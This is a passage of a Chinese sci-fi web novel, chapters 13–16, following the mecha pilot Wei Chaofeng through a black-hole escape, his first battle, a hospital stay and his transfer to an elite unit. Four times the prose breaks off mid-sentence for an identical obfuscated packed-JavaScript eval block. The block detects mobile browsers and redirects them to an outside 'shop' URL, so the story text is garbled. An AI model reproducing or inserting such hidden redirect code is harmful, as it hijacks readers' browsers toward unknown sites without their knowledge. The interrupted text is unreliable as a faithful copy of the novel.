“你——”卫嘲风恨铁不成钢地看着他。 “不过装备测试真的很无聊诶,明明在出厂前已经测试过一遍了。” “因为前线的环境和地面不一样嘛。” “听说马上会有前线文职的招募,我觉得我该去试试,最好能找到地空通讯方面的位置,听起来不那么危险,又不会像装备测试这么无聊。” 卫嘲风哭笑不得:“又胆小又不安分,LOGIS还真的挺适合你。” 不远处,蓝远山已经在叫他的大名了,他和桑奇道了别,便小跑步回到前辈身边。 “要回航舰了吗?” “你知道的,维修部里面自以为是的alpha特别多,我得赶紧回去看看有没有出什么乱子。” 卫嘲风忍不住笑了起来,但很快又觉得没什么好笑的。 回到波恩的驾驶舱上,已经做好出发准备时,蓝远山反倒磨蹭起来,翻来覆去把各种表盘和操作杆检查了一遍。 卫嘲风觉得奇怪,不过没有催促,他看着黑暗的深空中偶尔闪过几个亮点,随口说道:“还以为这次上前线至少能见上长官一面。” 蓝远山闷闷的声音从驾驶座底下传来,“是啊。” 他调整好座位的高低及椅背的角度,端正坐好,扣上安全带,按下引擎。 13. 护航 “没想到会连续在外作战这么多天,精神和体能的消耗一定很严重。” “在前线战场,经常会出现这种接连好几天没法休息的情况吗?” “因为这次的敌人是A级群落吧,加上前线轮换的人手不足,只能由同一批战士一直撑着。一旦后退,这片宙域的防线可能就会被一口气攻破。” “这边不休息的话,虫群不也同样得不到休息?” 蓝远山仰起脑袋,看了一眼驾驶舱的顶部,右手熟练地拉住操纵杆:“数量级不一样啊。群落能够轮换的人手要多少有多少。” 操纵杆向后倒去,引擎发出轰鸣,发动机的震动通过各种固体配件传导到座位上。 “返航。” 卫嘲风仍然看着窗外。黑暗深处的闪光越来越频繁,在看到那些光点的时候,他似乎能感受到炮火击中那些有机生命时的巨大震颤。 返回地面的航程比出发时要轻快一点,大概是因为机舱里那些大家伙都被卸掉了。 出发才不过半个钟头,卫嘲风开始感到昏昏欲睡,他告诫自己不能睡,这样对辛苦驾驶的前辈来说有失尊重。 这段时间以来他的体能似乎有所下降,好像再也找不回行军拉练时好几天不眠不休的感觉了,只是熬夜进行机体测试就让他累得够呛。 这样下去可不行。等回到地面之后,他必须抓紧加强这方面的锻炼,要是日后好不容易得到调动的机会,却因为身体素质不过关被退回的话,一定会抱憾终身的。 “喂,不是吧!” 意识模糊之间,蓝远山的一声大喊让卫嘲风瞬间清醒过来。 “发生什么事了?” 其实不用旁人解释,他也已经看到了出现在面前的危机,在舰船的航路上,出现了一个宛如时空撕裂般的黑洞,并且那个黑洞的面积在迅速增大。 要改变航线是不可能的,巨大的引力已经让舰船无法按照驾驶员的心意进行变向,只能束手无策地等待那张深渊巨口连舰带人将他们吞没。 没有人会期待体验被黑洞吞噬的感觉。 “作为一个军人,这实在是座不光彩的坟墓。”蓝远山嘴上这么说着,但手上的动作表明他还没有彻底放弃希望。 “这艘航舰没有装载高能反应驱动系统吗?”卫嘲风快速在中央表盘上搜索起来,但始终没有找到相关按键。 “在物资运输道路上出现黑洞的概率太低了,大多数航舰都不会装备那种又笨重、能耗又高的东西。” “我们该怎么办?” “趁现在还有一些距离,只能先把转向装置的功率调到最大,看看能不能挣脱黑洞引力了。” 从中央表盘提示的路线来看,航舰确实在偏离原本的方向,但从预期轨道来看,没法在被黑洞彻底捕获之前进入安全范围。 “可恶,只能到这个程度了。这样下去还是会被吸进去的!”在这种情况之下,即使是好脾气的蓝前辈也出现了明显的情绪波动。 这时候,反而是卫嘲风表现得更加冷静一点,凝神审视着视野中那个深不见底的天体,脑中飞快地过滤着在天体物理学的教材里看到过的公式。 他松了一下身上的安全带,凑到中央表盘前,打开光谱分析仪。 屏幕上出现红移和蓝移的曲线。他将从表盘上提取到的数据输入计算控制台。 十倍于太阳质量的黑洞。 “前辈,这艘星舰的最高速度能不能达到0.9c?” “设计的理论最高速度是c,但那是极限状态的理论速度。” “现在就是极限状态了,把所有能源集中到主引擎,将速度提升到0.9c,我们可以利用黑洞的引力场来加速和改变航向。” “引力弹弓吗?”蓝远山反应过来,在预期轨道正好切中黑洞边缘时,立即关闭转向装置,将所有能源集中到主引擎上。 航舰机身一震,如流星般义无反顾地向黑洞的边缘飞驰而去。 被天体引力捕获的结果并非只有毁灭一途,就像行星被恒星俘获一样。 周围的空间仿佛在压缩和扭曲。 星舰以接近光速的速度掠过黑洞边缘。 强大的引力场让它获得了额外的速度和动能。 “离开学校太久,我早就把那些知识还给老师了。这次多亏了你。” 尽管已经逃离黑洞的引力,蓝远山依然没有放松下来,右手仍死死地握着操纵杆。 卫嘲风表面上不动声色,其实早就在心里把自己夸了个遍,不过他颇有自知之明,没有得意太久,很快就收起了无关紧要的心思,将视线落到中央表盘上。 看着显示屏上不断变化的光谱数据,他有些困惑地眨了眨眼睛。 “这个黑洞,好像有点奇怪。” “是很奇怪啊,我还从来没有听说过像这样突然出现的黑洞。” “它好像在收缩。” 卫嘲风话音刚落,明显是由撞击产生的一阵强烈的震动从航舰尾部传来。控制台发出让人不安的警报声。 “是群落!究竟是从哪儿冒出来的?” 运输用的航舰将从引力弹弓中获得的速度保持了一段时间,但看样子依然难以逃离那些以灵巧尺寸在宙域中横行霸道的虫群。 这艘舰船专职货运,防御能力中上,却不具备有效的攻击手段,尽管能硬扛群落的围攻,但不能就这么返回地面。 把这些东西带到地面上就糟糕了。 卫嘲风向后方看了一眼,原本位于预计航道上的黑色天体已经消失了,取而代之的是如同凭空出现般密密麻麻的宇宙生物,“刚才那个……其实是虫洞吗?可是它们为什么要把出口设置在这里?” “不管怎么样,现在只能先返回前线了。和指挥部联系一下,让他们做好准备。”蓝远山调整了一下操纵杆的角度,航舰的头部微微抬起,巧妙地避开了一只即将撞上玻璃罩的红色的大家伙。 “可是前辈,航舰的燃料有点勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136362|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' □□嘲风忧心忡忡地看着中央表盘右下角那个危险的数字。 “到了基地就能得到补充,再不济还可以让补给舰送一些过来,总会有办法的。” “好吧。” 卫嘲风隔着玻璃看向外面如受到严重污染的海水般疯狂涌动的群落,胃部感到一阵不适。明明是在模拟训练里杀死过无数遍的东西,一旦看到活的,还是会觉得恶心。 虽然长着看似节肢昆虫般的外观,但那和大型哺乳动物相比都算巨大的体型以及具有肌肉质感的肢体无不让人感到万分别扭。 就像是把人的胳膊或是腿部切割下来,染上各种颜色,再安装到那些胸部丰满腰肢纤细的昆虫身体上似的。 右眼的余光观察到侧面的玻璃上有一团黑色的阴影,转头一看,正好对上一双不停朝各个方向转动的眼睛。 如果不是系着安全带的话,他可能会被吓得从座位上掉下去。 就在这时候,一道光束从虫子的头部左侧穿过,又从右侧穿了过去,眨眼的功夫间,那只虫子的头部开始不自然地膨胀,然后在玻璃上留下了一滩灰紫色的黏腻液体。 尽管理智知道外面没有传播声音的介质,但他仿佛还是听到了噗叽的响声。 隔着那滩液体,他看到那只攀附在航舰侧面的残缺的虫子变成了漂浮在空中的一具尸体。 大约十架进攻型机甲从虚空中陆续登场。 从数量上来说,十台BOS的攻击小队在群落面前完全没有优势,不过看样子他们的目的也不是清扫战场。 冷静的男声从通讯器里传来:“第一战列,护送B.O.N309前往基地。” 蓝远山立刻应答道:“B.O.N309收到。” 然后通讯就这么断开了。 卫嘲风张了张嘴,目光再次看向右侧的窗外。那滩血液已经从玻璃上剥离了,视野重新变得清晰,一架最新型号的BOS战机就在不远不近的地方行驶,时不时进行驱逐动作,点射几只缠上来的虫子,每次都是精准爆头,动作堪称赏心悦目。 刚才那只虫子,应该就是被它射死的吧。 如果换做是自己的话,能在实战中施展出那样漂亮的操作吗? 会因为紧张而失误吗? “真没想到第一战列会来为我们护航,怪荣幸的。”蓝远山的语气突然充满了干劲,“不知道长官在不在这里面。” 卫嘲风立刻收回视线,装作老实地看向前方,但没过多久,便开始按捺不住地向右侧飞快瞥几眼,他也不知道自己这般做贼似的姿态到底是为了什么,只是每次看到边上那台BOS仍保持着和航舰相对静止的速度行驶时,心脏就会不住地加快跳动频率。 群落没有一直追赶航舰和护航小队,在离开一段距离后,舰队后方就没有敌影晃动了。 所有人和机甲都安全抵达前线基地。 离开驾驶舱之后,卫嘲风第一时间就在格纳库中寻找刚才负责右翼护卫的那台机甲。 14. 红风男孩 机械锁转动的声音此起彼伏,护航队伍的驾驶员们陆续到地面集中,卫嘲风一直关注着的那扇舱门终于打开了,从里面走出来的是一名体型魁梧的男性。 他松了一下头盔,一边向航舰走来,走到蓝远山面前,说了些什么,接着便返回他自己的队伍去了。 集合起来的十名护航队员中,并没有beta女性的影子。 卫嘲风克制着不明所以的失落,向蓝远山一路小跑过去。 “前辈,到底发生了什么?” 蓝远山正若有所思地望着在不远处集合的战士们,听到后辈这么一嗓子,立刻回过神来,摇了摇头:“看来我们得在前线呆上一段时间了。” “怎么回事?” “返回地面的航路被刚才那个群落的分支切断了,它们似乎想包围我们的前线阵地,估计现在前线的战况不是很妙。” “那……” 蓝远山突然一改严肃的表情,露出半是无奈半是鼓励的笑容:“说不定会有上战场的机会,怎么样,想不想体验一下?” 卫嘲风被这个突如其来的机会打了个措手不及,伸手松了松紧紧勒着脖子的驾驶服的领口:“真的可以吗?” “听说你在校成绩很好。怕在实战露怯?” “我不是那个意思!我、我当然愿意参加战斗!” 蓝远山将头盔往腰侧一搁,迈开步子:“跟我去一趟指挥分中心。” 卫嘲风赶紧跟上:“对了,前辈,怎么没有看到长官?她也是第一战列的吧?” “这支小队是凑巧跟着虫群穿越虫洞过来的。第一战列的大部队还在前线,到战场上的话,应该就能碰见了。”蓝远山说,“……也不一定,毕竟战场的范围已经扩大了好几倍。” * 前线的工作审批快到让人做心理准备的时间都没有。这反而让卫嘲风有点怀念后勤那些又臭又长的流程。 蓝远山丢了一串钥匙过来:“REDWIND改造版,还记得它吗,你亲自参与翻新的机体。” 卫嘲风低头看着那串铮亮的钥匙,心里全是说不出的滋味。 蓝远山向自己那台机甲走了过去,背着身嘱咐了一句:“可别轻易死了。等长官回后勤部,发现少了一个人,我都不知道要怎么交代呢。” 卫嘲风嗯了一声,在原地愣了片刻,也转身走向自己的REDWIND。 到了驾驶舱里,蓝远山的声音立刻从通讯器里传来:“不要太靠近群落,尽量用远程的打法。遇上棘手的家伙,不要死斗,把保命当做第一优先事项,明白了吗?” “前辈……”卫嘲风将钥匙插进引擎锁,顺势转了一下,“前线部队的战士,都是这样战斗的吗?” “当然不是!”蓝远山说,“可我们不是前线作战部队的成员。小子,我说的你可得记住啊!” “嗯。”卫嘲风应了一声。 接下去,在引擎的鸣响中,再没有人说过话。 从发射轨道上弹出的感觉和乘坐蹩脚的升降梯有点相似。 卫嘲风按照中央表盘提示的敌友方位置调整了一下前进方向。深空中的焰火仍在闪烁。 抵达热圈之前,卫嘲风已经射杀了几只落单的虫子,这似乎印证了前辈说的战场范围正在扩大,那些落单的虫子很有可能是打探或开拓战场的斥候。 在前线激战的战士很难有机会抽身去对付那些暂时脱离战场的敌人,这便给了卫嘲风大放光彩的机会。 “干得不错,REDWIND。”有点耳熟的声音通过前线的公共频道传了过来。 卫嘲风认出这就是那天的护航小队中和航舰进行过通讯的人的声音。 “坐标4521,301,827,有斥候打算脱离!”另一个声音插了进来。 卫嘲风一个激灵:“REDWIND,向目标位置前进。” “交给你了。” “朱厌上校,对战场新人不要这么严肃嘛,会给人压力的。”不知道是谁的声音也加入到了这个频道里。 卫嘲风一惊,意外于自己居然没有认出那个人的声音。 “对待战斗不够严肃的话,是会丢掉小命的。” “嗯……好吧,总之那个落单的家伙就交给你啰,红风男孩。” 卫嘲风加快行驶速度,脱离了频道信号的覆盖范围。骤然变化的速度让他的身体像被鬼压床一样镇在椅背上,直到逐渐适应这个加速后才有所缓解。 好快! 没想到早就已经过时的REDWIND也能在改造之后达到这种速度。那个人在系统工程方面的才能,简直深不可测。 如果她是一个alpha的话,肯定早就被军队奉为明星战士,被宣传部当做征兵广告的形象大使了——不敢想象她会有多么受人追捧。 尽管可以感到她在alpha之间混得不错,没有到如鱼得水那种程度,不过周围的人对她普遍抱有认可乃至尊重的态度,这对于一个beta军人来说,已经是足够值得炫耀的资本了。 卫嘲风很快就抵达了被发送到公共频道的坐标附近,他提前估计了那只斥候的前进速度和方向,以坐标为圆心,在远离来向的扇形范围内进行搜索,没花多少工夫就找到了斥候的下落,并成功打穿了它的脑袋。 返回信号圈中时,公共频道显得有些嘈杂。 他勉强从你一言他一语的交接中获得了一个信息,我方侦察兵找到了群落的临时基地。 * 驾驶舱的窗外是像流星雨一样划过的能量粒子的光痕。 目前仍保有战斗能力的BOS都在向那个该死的临时基地赶去。只要捣毁这个基地,杀死那些能够制造虫洞的家伙,基本上就足以宣告战争的胜利了。 受到小时候热衷的星际战争片的影响,卫嘲风一直以为和A级群落之间发生的战争会更加复杂一点,至少应该有几轮攻守互换的情节。 反正他无论如何都没有想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136363|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,自己能在没有获得前线头衔的情况下就来到战场,能在第一次上战场的时候就参与最终决战。 一切好像没有那么危险,也没有那么艰难,整个过程中他能回忆起来的最具紧张感的时刻就是猛然间在右侧舷窗上看到虫子的一瞬。 除此之外,一切仿佛都轻而易举,驾轻就熟。以至于他在前往群落基地的时候索然无味到有点打不起精神。 这让他想起初中吃午饭时的情形。 每到上午最后一节课的下课铃声响起,教学楼的楼道就会发生如同地震般的震动,饥肠辘辘的学生们以百米冲刺的精神向食堂冲去,以免自己落在长蛇般队列的末尾。 初一的时候,卫嘲风也是争抢前列的冲锋兵中的一员,但自从有一次因为跑得太急而从楼梯上滚下去,并在很长一段时间内沦为同学间的笑柄之后,他就失去了冲刺的热情,每天都慢悠悠地走到食堂。 接着他发现,只要挑一个效率够高的队伍,即使比别人晚到食堂,也未必需要付出更多的等待时间。更何况他吃饭总是很快,就算比别人晚吃上饭,也依然能够获得充足的午休时间。 后来者未必没有优势。他们更能看清形势。 “喂,红风男孩,怎么这么没精打采的?受伤了?”之前调侃过长官的那个声音突然响了起来。 卫嘲风呼了一口气,才打开通讯器:“我毕竟不是正式的前线队员,参与作战的时间也不长,这种时候还是谦让一点比较好吧?” 将他戏称为红风男孩的那个人夸张地笑了起来:“哈哈哈哈,你一定是学校里的好学生吧!” 一道绚丽的能量光痕在窗外转瞬即逝,那台BOS毫不谦虚地从REDWIND侧边绕了过去。 当那家伙的声音再次响起的时候,因为距离已经拉开,音量小了很多:“既然你这么说,我就不客气啦!” 在众人热情的奔赴之下,卫嘲风很快就沦落到了最外围。 蓝远山的声音猝不及防从扬声器里传来:“卫嘲风,你不去基地清剿吗?” 卫嘲风于是把自己的意思再表述了一遍:“功劳还是留给前线作战队员比较好,我在外围巡逻一下。” “你不是想进ECHO吗?如果能在决战的时候赢得战绩,对你的调动可是会非常有利的。” “嗯。” Alpha男性只是在嘴上这么应着,实际上还是掉转了REDWIND的方向,在决战场地的外围移动。 这里果然有侥幸逃出来的虫子。改装版的老式机甲慷慨地送它们吃了几发子弹,让它们永远也没法回巢。 卫嘲风还记得在地面听到的消息,如果放这些A级群落的成员回去,它们很可能会带着它们背后的S级宗主卷土重来。 “前线部队的成员对你的评价不错。”蓝远山切换成了一对一的通信频道。 “还行吧……”向来自我感觉良好的alpha男性难得会对别人的夸奖感到不好意思。 15. 眼泪 “你留在外围,也是想给前线队员留下一个好印象吧?人情说不定比战绩更好用——是不是?” “没……我没有想这么多。” “喔——” “不过,真正的前线果然和想象中的很不一样呢。” “你指什么方面?” “我在军校进行模拟训练的时候,小队成员之间通常只有非常简短的战术对话,没想到到了真正的战场上,大家居然还有工夫闲聊。” “哈哈哈,你是说这个啊!怎么说呢,也挺奇怪的,能在战场上活下来的,往往不是队伍里最谨慎的成员,而是心态最好的那些。越是老兵比例高的战列里,心大的家伙就越多。” “哈……” “也不是说谨慎不好。但毕竟是打仗,会遇见很多糟糕透顶的事情,死人算是程度轻的了,不粗线条一点的话,很难撑下来的。” 就在这前辈与后辈的温馨对话之间,突兀地插入了一个冰冷而短促的声音。 “小心。” 卫嘲风一晃神,接着便感到机体一震,驾驶舱后方传来不祥的动静。 “是绿螳螂,它打算切割你的机体。加速急转,把它甩下来。” “长、长官……” “不想死就赶紧动起来。” 卫嘲风的大脑一片混乱,几乎是凭着身体的本能完成了加速和变向的操作。迟了一拍的脑神经没有做好承受压力的准备,在转向的时候,卫嘲风感到强烈的恶心。 “操作够难看的。” 绿螳螂没有被甩出去,卫嘲风正准备再尝试一次。 后面赶上来的黑色机体打爆了绿螳螂的脑袋,并将它一脚踢飞。 “一次不行就算了。这不是能连续尝试的动作,身体受不了的。战斗还没有结束,不要提前放松警惕。” 卫嘲风羞愧地稳了一下身形,连续做了几个深呼吸,才渐渐驱散了身体的不适感。 “前辈说在战场上总是绷着精神不适什么好事。”他嘟囔道。 “呵。”通讯器里传来嘲讽似的冷笑。 “不、不是吗?” “——所以说你不适合上战场。” 听到这话,卫嘲风心中顿时无名火起,冲着通讯器吼了一句:“那你也不能欺骗我!” “怎么了?卫嘲风,你在和谁说话?谁欺骗你了?” 蓝远山的声音差点把青年吓到心脏骤停。 卫嘲风意识到自己没有切换频道。 “是我。”beta女性介入了这个频道,淡淡地解释了一句,“这小子被绿螳螂缠上了。” “长官!”蓝远山的声音显然有些诧异,“你没有和大部队一起去基地集合吗?” “有几只能够制造虫洞的家伙提前逃了出来,得把它们清理干净。” Beta女性言简意赅地描述了一下情况,紧接着又给两个部下分别发送了几组坐标:“这些地方可能会有漏网之鱼,你们按顺序过去排查一下。” 蓝远山爽快地接受命令,很快就脱离了通讯范围。 “你还不行动吗?” “无论如何,你都不该欺骗我。不打算帮我的话,就不要提那种恶心的交易条件!”卫嘲风说。 REDWIND滞留片刻,很快就向中央表盘上显示的第一组坐标方向移动。 不要再去想那件事了。 又没有少块肉…… 又没有少块肉。 又没有少块肉! 卫嘲风把同一句话在心里重复了三遍。本来是想开解自己的,没想到越重复越郁闷。 他觉得自己失去了比“一块肉”更加重要的东西。 尊严,自信,羞耻心,优越感……他想了很多词汇出来,但始终没有一个能准确地描述他丧失感的真正源头。直到一个奇怪的词跃然脑海—— 贞洁? 不——他在心里发出一声悲鸣。 不是因为他终于确定自己失去的究竟是什么,而是由于他发现自己之所以会纠结这个问题。 是因为他在意的并非自己未能如愿以偿进入ECHO的这个结果,而是beta女性那种仿佛什么都没有发生过一样的态度! 可他为什么要在乎那种东西! 可恶! 他的左手像是要出气一样狠狠捶打在表盘下的智能按键组上。 啪。 一发激光弹迸射出去,在途中一度被黑暗吞没,但很快又出现在它轨迹的延长线上。 卫嘲风对着那样的景象愣了一下。那片黑暗里似乎有什么东西正在蠕动。 下一秒,他像发疯一样转动操作杆,设定瞄准目标,输入数值,发射激光,REDWIND在他的操作下如同坏掉的傀儡一样乱舞起来。 他知道自己打中了一些东西,但还有更多东西需要被清扫。 就在他打算将控制器上的索敌精度提高的时候,驾驶舱的窗罩被什么东西迎面抱住,失去了绝大部分视野,紧跟着,身体突然出现失重的错觉。 有什么东西缠住了REDWIND的制动部位。他被一个小规模群落包围了! 卫嘲风伸手捂住胸腔,它所笼罩着的器官明显出现了异常,但等不及让它恢复到平时的状态了。 Alpha男性忍着疼痛,将加速杆推到最底部,动力引擎立刻发出了不祥的声音。 机体原地震颤了片刻,然后一下子冲了出去,卫嘲风将身体紧紧贴在座椅靠背上,承受着心脏仿佛要冲出胸腔般的痛苦。 窗罩上的东西被甩掉了。 转身,索敌,瞄准,发射。 大脑似乎已经失去了对身体的掌控,一切都靠潜意识和本能进行运转。 光束消失在一团黑暗中,然后又出现在延长线上。 他一遍遍重复着这些动作,直到意识彻底消失。 虚空中的虫影逐渐模糊。 那些结实的肢体,不成比例的纤细腰部,在高斯模糊的视觉效果中变得合理起来,变成了一个被紧身的驾驶服勾勒出清晰线条的人形。 是女性的形状。 头盔的玻璃护罩后面有一双左右不同色的眼睛。 那具形体向自己扑了过来。 大得不可思议。 几乎和REDWIND一样大。 只要一个拳头就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136364|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把REDWIND的舱体打爆。 “你为什么要骗我!你怎么可以骗我!” 声嘶力竭地大吼起来。 声音在驾驶舱里面回荡,声波和机械的震动巧合地形成了共鸣,合金与纤维材料脱离常识地舞动起来。 那个巨大的东西离这台机甲越来越近。不能再让它靠近了! 轰! 倾注了REDWIND所有能量的一击,向那个巨大物体的头部射去。 “怎么可以骗我!可恶!该死!怎么可以骗我!” 头盔的玻璃上面不知何时洒上了几滴液体。 不会吧,难道是眼泪? * “之前在战场上也是,这小子为什么一直坚持有人骗了他。你对他做了什么吗?” “啊,做了。” “做了?!到底是做了什么啊?你看他都变成这样了,就可怜可怜他吧。” “呵,可怜他吗?我还怕他不稀罕呢。” “这小子心不坏的,和其他alpha不一样。我看得出来,他其实是很敬重你的。比起性别主义,他绝对是实力至上主义的啦。” 卫嘲风费了好大的力气,才终于掰开了头盔上的玻璃罩。 他要把这东西拆下来好好看看,上面那些湿漉漉的水滴究竟是什么成分。 喀。 卡扣被打开的时候,明亮的光线再不受阻挡,落进了他的瞳孔里,引发一阵刺痛。 视野里有两个人,坐在床尾的蓝远山,还有背着身站在窗前的beta女性。 背景是清洁到让人感到被世界遗弃般的病房。 大概是喉咙里发出了一些连自己都没觉察到的声音吸引了前辈的注意,alpha男性转过头了,和他对上了眼神。 温和的深棕色眼睛里浮现出欣喜之色。 “小子,你总算是醒了。” “前辈,我……我怎么了?”卫嘲风用像是被铁砂炒过般的声音问道。 刚刚还站在窗边的人神出鬼没地来到床前:“我应该告诫过你,连续加速身体会受不了的吧?” 蓝远山替后辈打起了抱不平:“长官,他也是为大局考虑,才会那样奋不顾身的,你不要对他太过苛责了。就结果而言,他顺利拦阻了一支机密的斥候部队,这可是一件大功呢!” 卫嘲风眨了眨眼睛:“大功?我、我立了大功吗?”虽然还不能确定到底发生了什么,这个结论已经提前让他感到高兴,但在高兴之余又不知从何处溢出了一丝空虚。 他悄悄地绕过前辈的身影,窥伺着beta女性的表情,却又不知道自己想在她脸上看到什么。 欣慰和赞许,忏悔和内疚? 那张脸上什么表情都没有,就连在看望病人时应有的关切也不见丝毫。 “别高兴得太早。我先回队里了,你留在这里照顾他。”后半句是对蓝远山说的。说完,她最后看了一眼床上的伤患,便头也不回地离开了病房。 那个人身上穿着和梦里一致的驾驶服。能让人一览无余地看清她身上的肌肉线条。 而想到梦里的情形,卫嘲风感到一阵后背发凉。 16. 绯闻 病房门口传来移门关上的声音。 “回到基地之后,长官连衣服都来不及换就过来看你了。她只是表现得冷淡了一点而已,实际上还是关心你的。指挥部还有很多总结会议要开,如果不是放不下心,她才不会在这里等到你醒来了才走。”蓝远山说。 “前辈……你是在做我们的调解员吗?”卫嘲风嘟囔道,“她又不是我妈,我才不在乎她关不关心我。” “哈哈……”蓝远山干笑了两声,不好意思地用手掌摸了摸后脑勺,而后又一脸认真,“但不管怎么说,这回要是没有长官,你可能真的就回不来了。” 卫嘲风不领情地撇撇嘴:“我这不是还好好的吗?” 有护士进来,换了一包点滴,调整了一下输液速度。 蓝远山老实地在陪护席上坐着,直到护士离开后,才用拇指抵着下巴说道:“你的身体恢复能力确实不错。被长官救回来的时候,心脏已经很衰弱了,一副什么时候死掉都不奇怪的样子。这才过了一天,就好像什么事也没有似的。” “是长官把我救回来的?我那时候遇上的到底是什么东西?” “非常擅长隐匿活动的群落精英,正打算回去通风报信,幸亏你出手及时,就是太不计后果了,差点把命搭进去。长官从通讯状况意识到你那边情况不对,才赶过去的。” “我们……已经胜利了?” “嗯,大获全胜!你就安心休养吧。” “LOGIS呢?” “我拜托了副指挥帮忙照看车间的工作,还轮不到你小子操心。” “副指挥?” “轮岗的时候没有见上面吗?调达部门的那位。金发美女。”蓝远山做了一个长发及腰的手势。 卫嘲风知道他说的是谁。 蓝远山的部署属于LOGIS,因此不用参加各种前线会议,大多数时间都留在战地医院照顾后辈的起居。 就算身体上没有感觉到明显的异样,但内脏的各项指标都显示卫嘲风尚未完全康复,还得在医院躺上至少半个月。 在这段时间里,桑奇来探过几次病。他虽然被编入STELAR,但考虑到本人的意向和能力,其实一直在从事接近后勤类的作业,听说好友如愿上了战场,既担心,又替他高兴。 最后一次来医院的时候,他一副好事将近的表情,到卫嘲风面前也没有刻意卖关子,只是偷偷摸摸地告诉他,指挥部正在讨论要不要进行额外的人员调动。 “这次战斗虽然是大获全胜,但前线队伍一下子也是少了很多人,说不定会去LOGIS那边进行一次选拔。如果这项决议真能通过,上面应该会直接给你开绿灯吧。就是不知道前线战列的缺人到底到了什么地步,我怕他们下次会把我也送到战场上去……卫嘲风,说实话,你在战场上就没觉得害怕吗?” “有什么好怕的?在学校的时候都做过多少模拟训练了,对那种东西早就有心理准备了。” “是吗?你倒是有种。哎,就像你说的那样,明明都已经做过很多训练了,可是实际交手的时候还是觉得不一样。真货的冲击力太大了。” 卫嘲风有些虚荣地隐瞒了自己的真实感受。 尽管在战场上的时候很快就适应了战斗节奏,但大多数场景都是在进行远程作战,和虫子近距离四目相对的时候,他也被吓得差点丢了魂。 “对了,还有个事,你要做好准备。” “什么?” “很多人都猜指挥部不久之后就会给你发调令,其中也有一些不服气的,我在后勤走动的时候,就见到过一些。告诉你,就是让你心里有个底,到时候听到风言风语,不用太过在意。” 当天傍晚,蓝远山带来了更加确切的情报。 “指挥部已经决定把你调进ECHO了,和长官一样,都在第一战列。” 卫嘲风正在病房里吃晚餐,听到这话,故作淡定地喝了一口汤,但很快就在呛声中漏了馅。 等他把汤碗在桌上放稳之后,蓝远山用肘部轻轻撞了撞他的手臂:“你小子还怪矜持的咧。直通ECHO,一步到位,不高兴吗?” “没、没有。挺高兴的。”卫嘲风用湿巾擦了擦嘴,“第一战列不都是精英中的精英才能去的地方吗?为什么把我放到那里?” “这我就不清楚了。申请书是长官递的,特许是元帅批的,也许长官觉得把你放在身边方便管教?我不是一直说嘛,别看她那样,对你的事其实挺上心的。”蓝远山说。 卫嘲风突然感到坐卧不安起来,忍不住又呛了几下,“是、是长官递的申请?” 蓝远山点点头:“你可别觉得在实战中立了功,军队就会随随便便发调令了,越是上头的人,做事越是死板。长官为了打点这事,可费了一番功夫呢。” 既然愿意为他花这个功夫,那早干什么去了?卫嘲风想。 不会是怕他把她干的那些好事给抖出来,坏了她的形象,所以赶紧出来捂嘴? 怎么可能!就算把他当成蠢货,也不该认为他会蠢到那种地步吧? 宣扬这事对他有什么好处?一个被beta睡了的alpha,无论日后有什么光辉的成就,也还是会被人在背地里当成笑话的! “怎么了,小子,在想什么呢,脸这么红?”蓝远山说。 卫嘲风摇了摇头,说了句:“没什么。”然后就开始收拾起餐具来。 蓝远山不解地嘟囔道:“怎么突然就生气了?” * 在卫嘲风住院的这段时间里,蓝远山帮后辈倒腾调动需要的资料,已经在指挥部和后勤部之间跑了好几趟。 说是帮忙,其实也是顺便,因为他本人也被调到了前线待命。部署是第三战列。 等医务部签下出院通知,已经是剿灭48号A级群落一个月之后的事了。 前方战场已经清扫干净,各种物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136974|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资清点、伤亡家属抚慰工作也接近尾声。 住院期间没法自由活动,卫嘲风只能天天在病房里看新闻,到出院的时候,电视上关于那场战争的热度已经冷却下来,这个时间点上依然热火朝天的,除了医务部门之外,也就只有维修部门了。 现在是前线作战部队的休假期,一部分闲得不自在的人直接到后勤车间当志愿者,也有接到命令不得不来帮忙的。 